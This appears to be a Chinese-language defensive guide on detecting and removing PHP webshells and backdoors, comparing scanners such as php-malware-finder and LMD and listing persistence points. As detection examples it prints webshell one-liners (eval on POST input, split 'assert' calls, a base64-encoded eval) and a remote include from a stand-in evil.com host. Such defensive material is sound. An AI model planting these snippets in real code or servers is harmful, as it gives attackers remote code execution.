PHP后门无法靠一键查杀工具彻底清除,需人工审计+版本感知静态扫描+运行时监控;隐蔽后门常伪装成日志、图片或主题文件,并用字符串拼接、动态函数调用、多层解码等方式绕过检测。

PHP后门不能靠“一键查杀工具”彻底清除,尤其当攻击者已获取写权限、混淆代码或利用合法功能(如 eval、assert、base64_decode 嵌套调用)时,自动化工具大概率漏报。真正有效的清理必须结合人工审计 + 版本感知的静态扫描 + 运行时行为监控。
怎么看文件里藏了隐蔽的PHP后门
别只盯着 shell.php 或 1.php 这类明显名字——后门常伪装成日志备份(error_log.bak)、图片(1.jpg 但内容是 PHP)、主题文件(functions.php 末尾追加 @eval($_POST['x'])),或用动态函数绕过关键词检测:
-
call_user_func('ass'.'ert', $_POST['a'])—— 拆分字符串规避assert字面匹配 -
$a = 'base64_decode'; $a('PD9waHAgZXZhbCgkX1BPUlRbJ2MnXSk7'));—— 变量存函数名 + 多层解码 - WordPress 插件目录下出现无作者信息、无更新记录的陌生插件 ZIP,解压后含
wp-content/plugins/xxx/inc/backdoor.php
不同PHP版本下哪些查杀工具真能用
工具兼容性不只看“支持PHP7/8”,更要看它是否适配对应版本的语法特性(如 PHP 8.0+ 的联合类型、属性语法)和扩展行为(如 pcntl、ffi 调用可能被用于隐藏通信)。主流工具实际表现如下:
-
php-malware-finder:支持 PHP 5.6–8.3,对preg_replace('/.*/e'这类已废弃但旧站仍存的漏洞模式识别强;但对 PHP 8.1+ 的#[\Attribute]注解内嵌恶意逻辑无检测能力 -
linux-malware-detect (LMD):依赖签名库,对常见 WebShell(如ChinaChopper、WEBSHELL变种)检出率高;但默认不解析 PHP 语法,无法发现自定义加密后门 -
phpscanner(GitHub 上轻量工具):基于 AST 分析,PHP 7.4+ 兼容好;能识别create_function替代方案(如匿名函数 +extract),但对FFI::cdef调用外部恶意 so 库完全无感知
删完后怎么防它再回来
删除单个后门文件只是起点。若未修复根本入口,几小时内就会复发。重点检查以下位置:
立即学习“PHP免费学习笔记(深入)”;
- Web 目录外的可写路径是否被用于落地持久化后门(如
/tmp/.systemd/下的run.sh定时 wget 新后门) - 数据库中是否注入了恶意字段值(如 WordPress 的
wp_options表中theme_mods_twentytwentyone值含 base64 编码的 PHP 代码) - PHP 配置中
disable_functions是否被绕过(例如未禁用shell_exec却禁了exec,攻击者直接切函数调用) - 是否有启用
allow_url_include = On—— 这会让include('http://evil.com/shell.txt')直接生效,比任何文件后门都难追踪
最麻烦的是那些改了核心 CMS 文件、又打上“已更新”标记的后门——它不会出现在 diff 工具的增量列表里,因为修改点被刻意混在正常功能补丁中。这时候得靠运行时日志:开启 log_errors = On + error_log = /var/log/php-app.log,并监控所有含 eval、assert、create_function 的调用栈,而不是只扫磁盘文件。











